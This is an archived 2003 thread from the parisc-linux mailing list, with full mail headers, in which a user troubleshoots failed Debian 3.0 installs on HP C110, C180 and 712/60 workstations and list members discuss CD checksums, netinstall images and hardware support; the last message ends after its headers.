Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF1F44829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 11:27:53 -0700 (MST)
Original-Received: from pepp (adsl-67-116-83-209.dsl.lsan03.pacbell.net [67.116.83.209])
	by pimout3-ext.prodigy.net (8.12.3 da nor stuldap/8.12.3) with SMTP id h11IRjeP369840;
	Sat, 1 Feb 2003 13:27:47 -0500
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20030201103005.42be16f9.varenet@esiee.fr>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17582

Did you install it from the woody iso ?
My install are from the iso image.
Or did you use netinstall ?

The C180 has 768MB Ram, the C110 has 512MB.
The 712s has 64MB and 80MB.

All above machines was running HP-UX 10.20 or 11.00 before I tried to
install,
or still is as nothing has been installed yet.
So I know they are working.

I need to know if this is a installer problem in woody iso.
I have seen that a lot of people have got these machines installed and
working,
but did they use a previous version or did they use netinstalls ?

I am also confused that there are reference to some problems with different
PS/2
keyboards. I used original HP Workstation Keyboard and mouse and still got
the problem with
the C110 and C180.

/ Adam

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Thibaut
VARENE
Sent: Saturday, February 01, 2003 1:30 AM
To: adam.sk@groovy.ffloth.com
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180
and 2 712/60, no luck.


On Fri, 31 Jan 2003 20:27:21 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:


> The Visualize-EG in C180 seems not be working, seen threads about that,
> so installed the Visualize-24 card from the C110 on the C180 and get the
> same result.
IIRC, Visualize-EG should be working with STIfb driver.

> I also read that their are no trouble with installing on 712/60.
> I got 2, one with the second LAN/Serial Card (So I can use it as a FW).
We have that conf as well, and installed it without any problem.
> Bot are starting but are hanging after the message:
>
> The Installation Program is determining the current state
> of your system and the next installation step that should
>  be performed.
>
> It hangs there forever on both boxes.
That's definitely not normal.
How much RAM does these boxes have ?
We noticed that bellow 32MB of RAM, the installer may 'Defunct' during the
install process. In that case you would have to install the HD into another
box, prepare it and install the software on it, and plug it back into the
712, see the PA-RISC/Linux Boot HOWTO for details
(http://pateam.esiee.fr/doc.html)

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 20:07:20 +0100
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20030201200720.1be3a2da.varenet@esiee.fr>
References: <20030201103005.42be16f9.varenet@esiee.fr>
	<003401c2ca1f$81ca9750$b601a8c0@pepp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622174 20924 80.91.229.3 (22 Nov 2014 02:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: <adam.sk@groovy.ffloth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 12:07:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBA9D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 12:07:47 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h11J7dkC019718;
	Sat, 1 Feb 2003 20:07:40 +0100
In-Reply-To: <003401c2ca1f$81ca9750$b601a8c0@pepp>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17583

On Sat, 1 Feb 2003 10:26:57 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:

> Did you install it from the woody iso ?
> My install are from the iso image.
> Or did you use netinstall ?
netinsts and 3.0r0
haven't tried yet 3.0r1
> 
> The C180 has 768MB Ram, the C110 has 512MB.
> The 712s has 64MB and 80MB.
far enough.
> 
> I need to know if this is a installer problem in woody iso.
most unlikely.
I'd suspect a problem with you CD. Have you checked checksums and tried with another CD?
> 
> I am also confused that there are reference to some problems with different
> PS/2
> keyboards. I used original HP Workstation Keyboard and mouse and still got
> the problem with
> the C110 and C180.
any ps/2 keyboard/mouse *should* work.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam Skaffloth" <adam.sk@groovy.ffloth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 13:34:24 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <003701c2ca39$b11141c0$b601a8c0@pepp>
References: <20030201200720.1be3a2da.varenet@esiee.fr>
Reply-To: <adam.sk@groovy.ffloth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622174 20930 80.91.229.3 (22 Nov 2014 02:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:34 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Thibaut VARENE'" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 14:35:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA1984829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 14:35:17 -0700 (MST)
Original-Received: from pepp (adsl-67-116-83-209.dsl.lsan03.pacbell.net [67.116.83.209])
	by pimout3-ext.prodigy.net (8.12.3 da nor stuldap/8.12.3) with SMTP id h11LZCeP482198;
	Sat, 1 Feb 2003 16:35:14 -0500
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20030201200720.1be3a2da.varenet@esiee.fr>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17584

I downloaded the iso images from
ftp://gsyprf10.external.hp.com/debian-cd/3.0_r0/hppa/
I went back to check for the MD5 Checksums.
They did not compare, but then I saw that the MD5SUM file was referencing
i386 disks,
under the hppa directory :)

I then tried jigdo download, it could find the first segment that are under
above server,
but could after that not find any other, dead end.

Under ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/
are a lot of test netinstalls,
Is there any of them that are corresponfing to 3.0r0 ?
Should I download the .iso image or is the lifimage to prefer ?

Where do I find netinstall for woody ?

/ Adam

-----Original Message-----
From: Thibaut VARENE [mailto:varenet@esiee.fr]
Sent: Saturday, February 01, 2003 11:07 AM
To: adam.sk@groovy.ffloth.com
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180
and 2 712/60, no luck.


On Sat, 1 Feb 2003 10:26:57 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:

> Did you install it from the woody iso ?
> My install are from the iso image.
> Or did you use netinstall ?
netinsts and 3.0r0
haven't tried yet 3.0r1
>
> The C180 has 768MB Ram, the C110 has 512MB.
> The 712s has 64MB and 80MB.
far enough.
>
> I need to know if this is a installer problem in woody iso.
most unlikely.
I'd suspect a problem with you CD. Have you checked checksums and tried with
another CD?
>
> I am also confused that there are reference to some problems with
different
> PS/2
> keyboards. I used original HP Workstation Keyboard and mouse and still got
> the problem with
> the C110 and C180.
any ps/2 keyboard/mouse *should* work.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 14:03:33 -0800 (PST)
Lines: 84
Approved: news@gmane.org
Message-ID: <20030201220333.28997.qmail@web12507.mail.yahoo.com>
References: <3E3B94EE.9010303@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1371559043-1044137013=:28425"
X-Trace: ger.gmane.org 1416622174 20932 80.91.229.3 (22 Nov 2014 02:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>, adam.sk@groovy.ffloth.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 15:03:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id 067004829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 15:03:35 -0700 (MST)
Original-Received: from [12.24.253.152] by web12507.mail.yahoo.com via HTTP; Sat, 01 Feb 2003 14:03:33 PST
In-Reply-To: <3E3B94EE.9010303@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17585

--0-1371559043-1044137013=:28425
Content-Type: text/plain; charset=us-ascii


I was using the built in graphics interface in my C180 before I sold it including using X on it.
derek
 Christian Suder <csuder@cisco.com> wrote:
Hi Adam,

no kidding, I am/have been running it on a C110, C180 and 712.... ;-) 
Although the 712 is a /80 not a /60, and that was before the official 
woody release. But the C110 and C180 were both installed from the same 
release CD. No problems with either one, but the C180 does have a 
visualize in it, the build in EG is not supported.

Regarding the keyboard disconnect/reconnect - that would only be needed 
for HIL keyboards, AFAIK. I used whatever PS/2 keyboard and mouse I had 
sitting around and that worked.

Christian



Adam Skaffloth wrote:
> Hi !
> 
> I wonder if someone could give me a help in the right direction.
> I have a C110, a C180 and 2 712/60.
> C110 would boot fine until you get to the first menu, then the keyboard
> would be out.
> I have tried the previous tricks about disconnect/reconnect the keyboard,
> but to no use.
> The Visualize-EG in C180 seems not be working, seen threads about that,
> so installed the Visualize-24 card from the C110 on the C180 and get the
> same result.
> Is this problem only related to the install or if I install using serial
> console would it be a head-less machine = no use ?
> 
> I also read that their are no trouble with installing on 712/60.
> I got 2, one with the second LAN/Serial Card (So I can use it as a FW).
> Bot are starting but are hanging after the message:
> 
> The Installation Program is determining the current state
> of your system and the next installation step that should
> be performed.
> 
> It hangs there forever on both boxes.
> 
> Anyone succeded with a install of Debian 3 on the above HW that could give
> me a hand,
> I am giving PA Risc a chance until I need to put the Sparc and the Intel
> back into the plans.
> 
> / Adam
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1371559043-1044137013=:28425
Content-Type: text/html; charset=us-ascii

<P>I was using the built in graphics interface in my C180 before I sold it including using X on it.
<P>derek
<P>&nbsp;<B><I>Christian Suder &lt;csuder@cisco.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><BR>Hi Adam,<BR><BR>no kidding, I am/have been running it on a C110, C180 and 712.... ;-) <BR>Although the 712 is a /80 not a /60, and that was before the official <BR>woody release. But the C110 and C180 were both installed from the same <BR>release CD. No problems with either one, but the C180 does have a <BR>visualize in it, the build in EG is not supported.<BR><BR>Regarding the keyboard disconnect/reconnect - that would only be needed <BR>for HIL keyboards, AFAIK. I used whatever PS/2 keyboard and mouse I had <BR>sitting around and that worked.<BR><BR>Christian<BR><BR><BR><BR>Adam Skaffloth wrote:<BR>&gt; Hi !<BR>&gt; <BR>&gt; I wonder if someone could give me a help in the right direction.<BR>&gt; 
 I have a C110, a C180 and 2 712/60.<BR>&gt; C110 would boot fine until you get to the first menu, then the keyboard<BR>&gt; would be out.<BR>&gt; I have tried the previous tricks about disconnect/reconnect the keyboard,<BR>&gt; but to no use.<BR>&gt; The Visualize-EG in C180 seems not be working, seen threads about that,<BR>&gt; so installed the Visualize-24 card from the C110 on the C180 and get the<BR>&gt; same result.<BR>&gt; Is this problem only related to the install or if I install using serial<BR>&gt; console would it be a head-less machine = no use ?<BR>&gt; <BR>&gt; I also read that their are no trouble with installing on 712/60.<BR>&gt; I got 2, one with the second LAN/Serial Card (So I can use it as a FW).<BR>&gt; Bot are starting but are hanging after the message:<BR>&gt; <BR
 >&gt; The Installation Program is determining the current state<BR>&gt; of your system and the next installation step that should<BR>&gt; be performed.<BR>&gt; <BR>&gt; It hangs there forever on both boxes.<BR>&gt; <BR>&gt; Anyone succeded with a install of Debian 3 on the above HW that could give<BR>&gt; me a hand,<BR>&gt; I am giving PA Risc a chance until I need to put the Sparc and the Intel<BR>&gt; back into the plans.<BR>&gt; <BR>&gt; / Adam<BR>&gt; <BR>&gt; <BR>&gt; _______________________________________________<BR>&gt; parisc-linux mailing list<BR>&gt; parisc-linux@lists.parisc-linux.org<BR>&gt; http://lists.parisc-linux.org/mailman/listinfo/parisc-linux<BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org
 <BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1371559043-1044137013=:28425--


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 23:26:37 +0100
Organization: ESIEE
Lines: 26
Approved: news@gmane.org
Message-ID: <20030201232637.6a8bdc99.varenet@esiee.fr>
References: <20030201200720.1be3a2da.varenet@esiee.fr>
	<003701c2ca39$b11141c0$b601a8c0@pepp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622175 20934 80.91.229.3 (22 Nov 2014 02:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: <adam.sk@groovy.ffloth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 15:27:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F8174829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 15:27:05 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h11MQukC023763;
	Sat, 1 Feb 2003 23:26:57 +0100
In-Reply-To: <003701c2ca39$b11141c0$b601a8c0@pepp>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17586

On Sat, 1 Feb 2003 13:34:24 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:

> I downloaded the iso images from
> ftp://gsyprf10.external.hp.com/debian-cd/3.0_r0/hppa/
> I went back to check for the MD5 Checksums.
> They did not compare, but then I saw that the MD5SUM file was referencing
> i386 disks,
> under the hppa directory :)
the 3.0r0 ISO on pateam.esiee.fr has its checksum displayed on the website.
> 
> Under ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/
> are a lot of test netinstalls,
> Is there any of them that are corresponfing to 3.0r0 ?
> Should I download the .iso image or is the lifimage to prefer ?
They all come from pateam.esiee.fr as well, and all feature the newest kernels and boot-floppies available, and are based on woody, so they would indeed correspond to 3.0r0.

The lifimages are only netbootable kernel images.

You would probably need the ISO to help a netinstal procedure.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam Skaffloth" <adam.sk@groovy.ffloth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 14:50:43 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <003d01c2ca44$5a8bbf50$b601a8c0@pepp>
References: <20030201232637.6a8bdc99.varenet@esiee.fr>
Reply-To: <adam.sk@groovy.ffloth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622175 20936 80.91.229.3 (22 Nov 2014 02:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Thibaut VARENE'" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 15:51:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08E2A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 15:51:36 -0700 (MST)
Original-Received: from pepp (adsl-67-116-83-209.dsl.lsan03.pacbell.net [67.116.83.209])
	by pimout3-ext.prodigy.net (8.12.3 da nor stuldap/8.12.3) with SMTP id h11MpWeP314078;
	Sat, 1 Feb 2003 17:51:34 -0500
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20030201232637.6a8bdc99.varenet@esiee.fr>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17587

I tried the latest one, but that are not able to configure the kernel
modules,
Message is:

depmod: Can't open /lib/modules/2.4.20-32/modules.dep for writing.

As the netboot seems to work but not the full iso images.
Can you guide me to a know working netboot iso that I can use ?

/ Adam

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Thibaut
VARENE
Sent: Saturday, February 01, 2003 2:27 PM
To: adam.sk@groovy.ffloth.com
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180
and 2 712/60, no luck.


On Sat, 1 Feb 2003 13:34:24 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:

> I downloaded the iso images from
> ftp://gsyprf10.external.hp.com/debian-cd/3.0_r0/hppa/
> I went back to check for the MD5 Checksums.
> They did not compare, but then I saw that the MD5SUM file was referencing
> i386 disks,
> under the hppa directory :)
the 3.0r0 ISO on pateam.esiee.fr has its checksum displayed on the website.
>
> Under ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/
> are a lot of test netinstalls,
> Is there any of them that are corresponfing to 3.0r0 ?
> Should I download the .iso image or is the lifimage to prefer ?
They all come from pateam.esiee.fr as well, and all feature the newest
kernels and boot-floppies available, and are based on woody, so they would
indeed correspond to 3.0r0.

The lifimages are only netbootable kernel images.

You would probably need the ISO to help a netinstal procedure.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 18:36:17 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030202013617.GA1915@dsl2.external.hp.com>
References: <20030201200720.1be3a2da.varenet@esiee.fr> <003701c2ca39$b11141c0$b601a8c0@pepp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622175 20939 80.91.229.3 (22 Nov 2014 02:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:35 +0000 (UTC)
Cc: 'Thibaut VARENE' <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Adam Skaffloth <adam.sk@groovy.ffloth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 18:36:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7351C4829; Sat,  1 Feb 2003 18:36:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <003701c2ca39$b11141c0$b601a8c0@pepp>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17588

On Sat, Feb 01, 2003 at 01:34:24PM -0800, Adam Skaffloth wrote:
